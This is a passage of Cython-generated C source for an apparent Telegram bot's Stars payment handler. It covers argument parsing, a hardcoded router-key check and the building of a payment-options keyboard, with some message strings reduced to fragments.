__pyx_mstate_global->__pyx_n_s_types +#define __pyx_kp_s_types_CallbackQuery __pyx_mstate_global->__pyx_kp_s_types_CallbackQuery +#define __pyx_kp_s_types_Message __pyx_mstate_global->__pyx_kp_s_types_Message +#define __pyx_n_s_typing __pyx_mstate_global->__pyx_n_s_typing +#define __pyx_n_s_update_balance __pyx_mstate_global->__pyx_n_s_update_balance +#define __pyx_n_s_update_data __pyx_mstate_global->__pyx_n_s_update_data +#define __pyx_n_s_url __pyx_mstate_global->__pyx_n_s_url +#define __pyx_n_s_user_id __pyx_mstate_global->__pyx_n_s_user_id +#define __pyx_kp_u_user_id_amount __pyx_mstate_global->__pyx_kp_u_user_id_amount +#define __pyx_n_s_waiting_for_payment_confirmation __pyx_mstate_global->__pyx_n_s_waiting_for_payment_confirmation +#define __pyx_float_0_0 __pyx_mstate_global->__pyx_float_0_0 +#define __pyx_int_0 __pyx_mstate_global->__pyx_int_0 +#define __pyx_int_1 __pyx_mstate_global->__pyx_int_1 +#define __pyx_int_2 __pyx_mstate_global->__pyx_int_2 +#define __pyx_codeobj_ __pyx_mstate_global->__pyx_codeobj_ +#define __pyx_tuple__9 __pyx_mstate_global->__pyx_tuple__9 +#define __pyx_tuple__22 __pyx_mstate_global->__pyx_tuple__22 +#define __pyx_tuple__31 __pyx_mstate_global->__pyx_tuple__31 +#define __pyx_tuple__32 __pyx_mstate_global->__pyx_tuple__32 +#define __pyx_tuple__33 __pyx_mstate_global->__pyx_tuple__33 +#define __pyx_tuple__34 __pyx_mstate_global->__pyx_tuple__34 +#define __pyx_tuple__35 __pyx_mstate_global->__pyx_tuple__35 +#define __pyx_tuple__36 __pyx_mstate_global->__pyx_tuple__36 +#define __pyx_tuple__37 __pyx_mstate_global->__pyx_tuple__37 +#define __pyx_codeobj__7 __pyx_mstate_global->__pyx_codeobj__7 +#define __pyx_codeobj__19 __pyx_mstate_global->__pyx_codeobj__19 +#define __pyx_codeobj__23 __pyx_mstate_global->__pyx_codeobj__23 +#define __pyx_codeobj__27 __pyx_mstate_global->__pyx_codeobj__27 +#define __pyx_codeobj__28 __pyx_mstate_global->__pyx_codeobj__28 +/* #### Code section: module_code ### */ +static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_2generator(__pyx_CoroutineObject *__pyx_generator, CYTHON_UNUSED PyThreadState *__pyx_tstate, PyObject *__pyx_sent_value); /* proto */ + +/* "handlers/payments/stars_pay.py":32 + * + * + * @router.callback_query(F.data == "pay_stars") # <<<<<<<<<<<<<< + * async def process_callback_pay_stars( + * callback_query: types.CallbackQuery, state: FSMContext, session: Any + */ + +/* Python wrapper */ +static PyObject *__pyx_pw_8handlers_8payments_9stars_pay_1process_callback_pay_stars(PyObject *__pyx_self, +#if CYTHON_METH_FASTCALL +PyObject *const *__pyx_args, Py_ssize_t __pyx_nargs, PyObject *__pyx_kwds +#else +PyObject *__pyx_args, PyObject *__pyx_kwds +#endif +); /*proto*/ +static PyMethodDef __pyx_mdef_8handlers_8payments_9stars_pay_1process_callback_pay_stars = {"process_callback_pay_stars", (PyCFunction)(void*)(__Pyx_PyCFunction_FastCallWithKeywords)__pyx_pw_8handlers_8payments_9stars_pay_1process_callback_pay_stars, __Pyx_METH_FASTCALL|METH_KEYWORDS, 0}; +static PyObject *__pyx_pw_8handlers_8payments_9stars_pay_1process_callback_pay_stars(PyObject *__pyx_self, +#if CYTHON_METH_FASTCALL +PyObject *const *__pyx_args, Py_ssize_t __pyx_nargs, PyObject *__pyx_kwds +#else +PyObject *__pyx_args, PyObject *__pyx_kwds +#endif +) { + PyObject *__pyx_v_callback_query = 0; + PyObject *__pyx_v_state = 0; + PyObject *__pyx_v_session = 0; + #if !CYTHON_METH_FASTCALL + CYTHON_UNUSED Py_ssize_t __pyx_nargs; + #endif + CYTHON_UNUSED PyObject *const *__pyx_kwvalues; + PyObject* values[3] = {0,0,0}; + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + PyObject *__pyx_r = 0; + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("process_callback_pay_stars (wrapper)", 0); + #if !CYTHON_METH_FASTCALL + #if CYTHON_ASSUME_SAFE_MACROS + __pyx_nargs = PyTuple_GET_SIZE(__pyx_args); + #else + __pyx_nargs = PyTuple_Size(__pyx_args); if (unlikely(__pyx_nargs < 0)) return NULL; + #endif + #endif + __pyx_kwvalues = __Pyx_KwValues_FASTCALL(__pyx_args, __pyx_nargs); + { + PyObject **__pyx_pyargnames[] = {&__pyx_n_s_callback_query,&__pyx_n_s_state,&__pyx_n_s_session,0}; + if (__pyx_kwds) { + Py_ssize_t kw_args; + switch (__pyx_nargs) { + case 3: values[2] = __Pyx_Arg_FASTCALL(__pyx_args, 2); + CYTHON_FALLTHROUGH; + case 2: values[1] = __Pyx_Arg_FASTCALL(__pyx_args, 1); + CYTHON_FALLTHROUGH; + case 1: values[0] = __Pyx_Arg_FASTCALL(__pyx_args, 0); + CYTHON_FALLTHROUGH; + case 0: break; + default: goto __pyx_L5_argtuple_error; + } + kw_args = __Pyx_NumKwargs_FASTCALL(__pyx_kwds); + switch (__pyx_nargs) { + case 0: + if (likely((values[0] = __Pyx_GetKwValue_FASTCALL(__pyx_kwds, __pyx_kwvalues, __pyx_n_s_callback_query)) != 0)) { + (void)__Pyx_Arg_NewRef_FASTCALL(values[0]); + kw_args--; + } + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 32, __pyx_L3_error) + else goto __pyx_L5_argtuple_error; + CYTHON_FALLTHROUGH; + case 1: + if (likely((values[1] = __Pyx_GetKwValue_FASTCALL(__pyx_kwds, __pyx_kwvalues, __pyx_n_s_state)) != 0)) { + (void)__Pyx_Arg_NewRef_FASTCALL(values[1]); + kw_args--; + } + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 32, __pyx_L3_error) + else { + __Pyx_RaiseArgtupleInvalid("process_callback_pay_stars", 1, 3, 3, 1); __PYX_ERR(0, 32, __pyx_L3_error) + } + CYTHON_FALLTHROUGH; + case 2: + if (likely((values[2] = __Pyx_GetKwValue_FASTCALL(__pyx_kwds, __pyx_kwvalues, __pyx_n_s_session)) != 0)) { + (void)__Pyx_Arg_NewRef_FASTCALL(values[2]); + kw_args--; + } + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 32, __pyx_L3_error) + else { + __Pyx_RaiseArgtupleInvalid("process_callback_pay_stars", 1, 3, 3, 2); __PYX_ERR(0, 32, __pyx_L3_error) + } + } + if (unlikely(kw_args > 0)) { + const Py_ssize_t kwd_pos_args = __pyx_nargs; + if (unlikely(__Pyx_ParseOptionalKeywords(__pyx_kwds, __pyx_kwvalues, __pyx_pyargnames, 0, values + 0, kwd_pos_args, "process_callback_pay_stars") < 0)) __PYX_ERR(0, 32, __pyx_L3_error) + } + } else if (unlikely(__pyx_nargs != 3)) { + goto __pyx_L5_argtuple_error; + } else { + values[0] = __Pyx_Arg_FASTCALL(__pyx_args, 0); + values[1] = __Pyx_Arg_FASTCALL(__pyx_args, 1); + values[2] = __Pyx_Arg_FASTCALL(__pyx_args, 2); + } + __pyx_v_callback_query = values[0]; + __pyx_v_state = values[1]; + __pyx_v_session = values[2]; + } + goto __pyx_L6_skip; + __pyx_L5_argtuple_error:; + __Pyx_RaiseArgtupleInvalid("process_callback_pay_stars", 1, 3, 3, __pyx_nargs); __PYX_ERR(0, 32, __pyx_L3_error) + __pyx_L6_skip:; + goto __pyx_L4_argument_unpacking_done; + __pyx_L3_error:; + { + Py_ssize_t __pyx_temp; + for (__pyx_temp=0; __pyx_temp < (Py_ssize_t)(sizeof(values)/sizeof(values[0])); ++__pyx_temp) { + __Pyx_Arg_XDECREF_FASTCALL(values[__pyx_temp]); + } + } + __Pyx_AddTraceback("handlers.payments.stars_pay.process_callback_pay_stars", __pyx_clineno, __pyx_lineno, __pyx_filename); + __Pyx_RefNannyFinishContext(); + return NULL; + __pyx_L4_argument_unpacking_done:; + __pyx_r = __pyx_pf_8handlers_8payments_9stars_pay_process_callback_pay_stars(__pyx_self, __pyx_v_callback_query, __pyx_v_state, __pyx_v_session); + + /* function exit code */ + { + Py_ssize_t __pyx_temp; + for (__pyx_temp=0; __pyx_temp < (Py_ssize_t)(sizeof(values)/sizeof(values[0])); ++__pyx_temp) { + __Pyx_Arg_XDECREF_FASTCALL(values[__pyx_temp]); + } + } + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} + +static PyObject *__pyx_pf_8handlers_8payments_9stars_pay_process_callback_pay_stars(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_callback_query, PyObject *__pyx_v_state, PyObject *__pyx_v_session) { + struct __pyx_obj_8handlers_8payments_9stars_pay___pyx_scope_struct__process_callback_pay_stars *__pyx_cur_scope; + PyObject *__pyx_r = NULL; + __Pyx_RefNannyDeclarations + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + __Pyx_RefNannySetupContext("process_callback_pay_stars", 0); + __pyx_cur_scope = (struct __pyx_obj_8handlers_8payments_9stars_pay___pyx_scope_struct__process_callback_pay_stars *)__pyx_tp_new_8handlers_8payments_9stars_pay___pyx_scope_struct__process_callback_pay_stars(__pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct__process_callback_pay_stars, __pyx_empty_tuple, NULL); + if (unlikely(!__pyx_cur_scope)) { + __pyx_cur_scope = ((struct __pyx_obj_8handlers_8payments_9stars_pay___pyx_scope_struct__process_callback_pay_stars *)Py_None); + __Pyx_INCREF(Py_None); + __PYX_ERR(0, 32, __pyx_L1_error) + } else { + __Pyx_GOTREF((PyObject *)__pyx_cur_scope); + } + __pyx_cur_scope->__pyx_v_callback_query = __pyx_v_callback_query; + __Pyx_INCREF(__pyx_cur_scope->__pyx_v_callback_query); + __Pyx_GIVEREF(__pyx_cur_scope->__pyx_v_callback_query); + __pyx_cur_scope->__pyx_v_state = __pyx_v_state; + __Pyx_INCREF(__pyx_cur_scope->__pyx_v_state); + __Pyx_GIVEREF(__pyx_cur_scope->__pyx_v_state); + __pyx_cur_scope->__pyx_v_session = __pyx_v_session; + __Pyx_INCREF(__pyx_cur_scope->__pyx_v_session); + __Pyx_GIVEREF(__pyx_cur_scope->__pyx_v_session); + { + __pyx_CoroutineObject *gen = __Pyx_Coroutine_New((__pyx_coroutine_body_t) __pyx_gb_8handlers_8payments_9stars_pay_2generator, __pyx_codeobj_, (PyObject *) __pyx_cur_scope, __pyx_n_s_process_callback_pay_stars, __pyx_n_s_process_callback_pay_stars, __pyx_n_s_handlers_payments_stars_pay); if (unlikely(!gen)) __PYX_ERR(0, 32, __pyx_L1_error) + __Pyx_DECREF(__pyx_cur_scope); + __Pyx_RefNannyFinishContext(); + return (PyObject *) gen; + } + + /* function exit code */ + __pyx_L1_error:; + __Pyx_AddTraceback("handlers.payments.stars_pay.process_callback_pay_stars", __pyx_clineno, __pyx_lineno, __pyx_filename); + __pyx_r = NULL; + __Pyx_DECREF((PyObject *)__pyx_cur_scope); + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} + +static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_2generator(__pyx_CoroutineObject *__pyx_generator, CYTHON_UNUSED PyThreadState *__pyx_tstate, PyObject *__pyx_sent_value) /* generator body */ +{ + struct __pyx_obj_8handlers_8payments_9stars_pay___pyx_scope_struct__process_callback_pay_stars *__pyx_cur_scope = ((struct __pyx_obj_8handlers_8payments_9stars_pay___pyx_scope_struct__process_callback_pay_stars *)__pyx_generator->closure); + PyObject *__pyx_r = NULL; + PyObject *__pyx_t_1 = NULL; + int __pyx_t_2; + PyObject *__pyx_t_3 = NULL; + PyObject *__pyx_t_4 = NULL; + unsigned int __pyx_t_5; + PyObject *__pyx_t_6 = NULL; + PyObject *__pyx_t_7 = NULL; + Py_ssize_t __pyx_t_8; + PyObject *(*__pyx_t_9)(PyObject *); + Py_ssize_t __pyx_t_10; + PyObject *__pyx_t_11 = NULL; + PyObject *__pyx_t_12 = NULL; + PyObject *__pyx_t_13 = NULL; + PyObject *__pyx_t_14 = NULL; + int __pyx_t_15; + PyObject *__pyx_t_16 = NULL; + PyObject *__pyx_t_17 = NULL; + PyObject *__pyx_t_18 = NULL; + int __pyx_t_19; + int __pyx_t_20; + char const *__pyx_t_21; + PyObject *__pyx_t_22 = NULL; + PyObject *__pyx_t_23 = NULL; + PyObject *__pyx_t_24 = NULL; + PyObject *__pyx_t_25 = NULL; + PyObject *__pyx_t_26 = NULL; + PyObject *__pyx_t_27 = NULL; + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("process_callback_pay_stars", 0); + switch (__pyx_generator->resume_label) { + case 0: goto __pyx_L3_first_run; + case 1: goto __pyx_L5_resume_from_await; + case 2: goto __pyx_L10_resume_from_await; + case 3: goto __pyx_L12_resume_from_await; + case 4: goto __pyx_L14_resume_from_await; + case 5: goto __pyx_L21_resume_from_await; + case 6: goto __pyx_L33_resume_from_await; + case 7: goto __pyx_L34_resume_from_await; + default: /* CPython raises the right error here */ + __Pyx_RefNannyFinishContext(); + return NULL; + } + __pyx_L3_first_run:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 32, __pyx_L1_error) + + /* "handlers/payments/stars_pay.py":37 + * ): + * + * expected_hash = "21U68SOLOBOT" # <<<<<<<<<<<<<< + * if STARS_ROUTER != expected_hash: + * logger.error(" CRYPTO_HASH. .") + */ + __Pyx_INCREF(__pyx_kp_u_21U68SOLOBOT); + __Pyx_GIVEREF(__pyx_kp_u_21U68SOLOBOT); + __pyx_cur_scope->__pyx_v_expected_hash = __pyx_kp_u_21U68SOLOBOT; + + /* "handlers/payments/stars_pay.py":38 + * + * expected_hash = "21U68SOLOBOT" + * if STARS_ROUTER != expected_hash: # <<<<<<<<<<<<<< + * logger.error(" CRYPTO_HASH. .") + * await callback_query.message.answer( + */ + __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_STARS_ROUTER); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 38, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_2 = (__Pyx_PyUnicode_Equals(__pyx_t_1, __pyx_cur_scope->__pyx_v_expected_hash, Py_NE)); if (unlikely((__pyx_t_2 < 0))) __PYX_ERR(0, 38, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + if (__pyx_t_2) { + + /* "handlers/payments/stars_pay.py":39 + * expected_hash = "21U68SOLOBOT" + * if STARS_ROUTER != expected_hash: + * logger.error(" CRYPTO_HASH. .") # <<<<<<<<<<<<<< + * await callback_query.message.answer( + * text=" , @solonet_sup." + */ + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_logger); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 39, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_error); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 39, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_4); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = NULL; + __pyx_t_5 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_4))) { + __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_4); + if (likely(__pyx_t_3)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_4); + __Pyx_INCREF(__pyx_t_3); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_4, function); + __pyx_t_5 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_3, __pyx_kp_u_CRYPTO_HASH}; + __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_4, __pyx_callargs+1-__pyx_t_5, 1+__pyx_t_5); + __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 39, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + } + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + + /* "handlers/payments/stars_pay.py":40 + * if STARS_ROUTER != expected_hash: + * logger.error(" CRYPTO_HASH. .") + * await callback_query.message.answer( # <<<<<<<<<<<<<< + * text=" , @solonet_sup." + * ) + */ + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 40, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_answer); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 40, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_4); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + + /* "handlers/payments/stars_pay.py":41 + * logger.error(" CRYPTO_HASH. .") + * await callback_query.message.answer( + * text=" , @solonet_sup." # <<<<<<<<<<<<<< + * ) + * return + */ + __pyx_t_1 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 41, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_text, __pyx_kp_u_solonet_sup) < 0) __PYX_ERR(0, 41, __pyx_L1_error) + + /* "handlers/payments/stars_pay.py":40 + * if STARS_ROUTER != expected_hash: + * logger.error(" CRYPTO_HASH. .") + * await callback_query.message.answer( # <<<<<<<<<<<<<< + * text=" , @solonet_sup." + * ) + */ + __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_empty_tuple, __pyx_t_1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 40, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_3); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 1; + return __pyx_r; + __pyx_L5_resume_from_await:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 40, __pyx_L1_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 40, __pyx_L1_error) + } + } + + /* "handlers/payments/stars_pay.py":43 + * text=" , @solonet_sup." + * ) + * return # <<<<<<<<<<<<<< + * + * + */ + __Pyx_XDECREF(__pyx_r); + __pyx_r = NULL; + goto __pyx_L0; + + /* "handlers/payments/stars_pay.py":38 + * + * expected_hash = "21U68SOLOBOT" + * if STARS_ROUTER != expected_hash: # <<<<<<<<<<<<<< + * logger.error(" CRYPTO_HASH. .") + * await callback_query.message.answer( + */ + } + + /* "handlers/payments/stars_pay.py":46 + * + * + * tg_id = callback_query.message.chat.id # <<<<<<<<<<<<<< + * + * builder = InlineKeyboardBuilder() + */ + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 46, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_chat); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 46, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_id); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 46, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_GIVEREF(__pyx_t_3); + __pyx_cur_scope->__pyx_v_tg_id = __pyx_t_3; + __pyx_t_3 = 0; + + /* "handlers/payments/stars_pay.py":48 + * tg_id = callback_query.message.chat.id + * + * builder = InlineKeyboardBuilder() # <<<<<<<<<<<<<< + * builder.row( + * InlineKeyboardButton( + */ + __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_InlineKeyboardBuilder); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 48, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_4 = NULL; + __pyx_t_5 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_1))) { + __pyx_t_4 = PyMethod_GET_SELF(__pyx_t_1); + if (likely(__pyx_t_4)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); + __Pyx_INCREF(__pyx_t_4); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_1, function); + __pyx_t_5 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_4, NULL}; + __pyx_t_3 = __Pyx_PyObject_FastCall(__pyx_t_1, __pyx_callargs+1-__pyx_t_5, 0+__pyx_t_5); + __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; + if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 48, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + } + __Pyx_GIVEREF(__pyx_t_3); + __pyx_cur_scope->__pyx_v_builder = __pyx_t_3; + __pyx_t_3 = 0; + + /* "handlers/payments/stars_pay.py":49 + * + * builder = InlineKeyboardBuilder() + * builder.row( # <<<<<<<<<<<<<< + * InlineKeyboardButton( + * text=" ", url="https://t.me/PremiumBot" + */ + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_row); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 49, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + + /* "handlers/payments/stars_pay.py":50 + * builder = InlineKeyboardBuilder() + * builder.row( + * InlineKeyboardButton( # <<<<<<<<<<<<<< + * text=" ", url="https://t.me/PremiumBot" + * ) + */ + __Pyx_GetModuleGlobalName(__pyx_t_4, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 50, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_4); + + /* "handlers/payments/stars_pay.py":51 + * builder.row( + * InlineKeyboardButton( + * text=" ", url="https://t.me/PremiumBot" # <<<<<<<<<<<<<< + * ) + * ) + */ + __pyx_t_6 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 51, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + if (PyDict_SetItem(__pyx_t_6, __pyx_n_s_text, __pyx_kp_u__2) < 0) __PYX_ERR(0, 51, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_6, __pyx_n_s_url, __pyx_kp_u_https_t_me_PremiumBot) < 0) __PYX_ERR(0, 51, __pyx_L1_error) + + /* "handlers/payments/stars_pay.py":50 + * builder = InlineKeyboardBuilder() + * builder.row( + * InlineKeyboardButton( # <<<<<<<<<<<<<< + * text=" ", url="https://t.me/PremiumBot" + * ) + */ + __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_empty_tuple, __pyx_t_6); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 50, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_7); + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + __pyx_t_6 = NULL; + __pyx_t_5 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_1))) { + __pyx_t_6 = PyMethod_GET_SELF(__pyx_t_1); + if (likely(__pyx_t_6)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); + __Pyx_INCREF(__pyx_t_6); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_1, function); + __pyx_t_5 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_6, __pyx_t_7}; + __pyx_t_3 = __Pyx_PyObject_FastCall(__pyx_t_1, __pyx_callargs+1-__pyx_t_5, 1+__pyx_t_5); + __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; + __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; + if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 49, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + } + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + + /* "handlers/payments/stars_pay.py":55 + * ) + * + * for i in range(0, len(PAYMENT_OPTIONS), 2): # <<<<<<<<<<<<<< + * if i + 1 < len(PAYMENT_OPTIONS): + * builder.row( + */ + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_PAYMENT_OPTIONS); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 55, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_8 = PyObject_Length(__pyx_t_3); if (unlikely(__pyx_t_8 == ((Py_ssize_t)-1))) __PYX_ERR(0, 55, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = PyInt_FromSsize_t(__pyx_t_8); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 55, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_1 = PyTuple_New(3); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 55, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_INCREF(__pyx_int_0); + __Pyx_GIVEREF(__pyx_int_0); + if (__Pyx_PyTuple_SET_ITEM(__pyx_t_1, 0, __pyx_int_0)) __PYX_ERR(0, 55, __pyx_L1_error); + __Pyx_GIVEREF(__pyx_t_3); + if (__Pyx_PyTuple_SET_ITEM(__pyx_t_1, 1, __pyx_t_3)) __PYX_ERR(0, 55, __pyx_L1_error); + __Pyx_INCREF(__pyx_int_2); + __Pyx_GIVEREF(__pyx_int_2); + if (__Pyx_PyTuple_SET_ITEM(__pyx_t_1, 2, __pyx_int_2)) __PYX_ERR(0, 55, __pyx_L1_error); + __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_PyObject_Call(__pyx_builtin_range, __pyx_t_1, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 55, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + if (likely(PyList_CheckExact(__pyx_t_3)) || PyTuple_CheckExact(__pyx_t_3)) { + __pyx_t_1 = __pyx_t_3; __Pyx_INCREF(__pyx_t_1); + __pyx_t_8 = 0; + __pyx_t_9 = NULL; + } else { + __pyx_t_8 = -1; __pyx_t_1 = PyObject_GetIter(__pyx_t_3); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 55, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_9 = __Pyx_PyObject_GetIterNextFunc(__pyx_t_1); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 55, __pyx_L1_error) + } + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + for (;;) { + if (likely(!__pyx_t_9)) { + if (likely(PyList_CheckExact(__pyx_t_1))) { + { + Py_ssize_t __pyx_temp = __Pyx_PyList_GET_SIZE(__pyx_t_1); + #if !CYTHON_ASSUME_SAFE_MACROS + if (unlikely((__pyx_temp < 0))) __PYX_ERR(0, 55, __pyx_L1_error) + #endif + if (__pyx_t_8 >= __pyx_temp) break; + } + #if CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS + __pyx_t_3 = PyList_GET_ITEM(__pyx_t_1, __pyx_t_8); __Pyx_INCREF(__pyx_t_3); __pyx_t_8++; if (unlikely((0 < 0))) __PYX_ERR(0, 55, __pyx_L1_error) + #else + __pyx_t_3 = __Pyx_PySequence_ITEM(__pyx_t_1, __pyx_t_8); __pyx_t_8++; if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 55, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + #endif + } else { + { + Py_ssize_t __pyx_temp = __Pyx_PyTuple_GET_SIZE(__pyx_t_1); + #if !CYTHON_ASSUME_SAFE_MACROS + if (unlikely((__pyx_temp < 0))) __PYX_ERR(0, 55, __pyx_L1_error) + #endif + if (__pyx_t_8 >= __pyx_temp) break; + } + #if CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS + __pyx_t_3 = PyTuple_GET_ITEM(__pyx_t_1, __pyx_t_8); __Pyx_INCREF(__pyx_t_3); __pyx_t_8++; if (unlikely((0 < 0))) __PYX_ERR(0, 55, __pyx_L1_error) + #else + __pyx_t_3 = 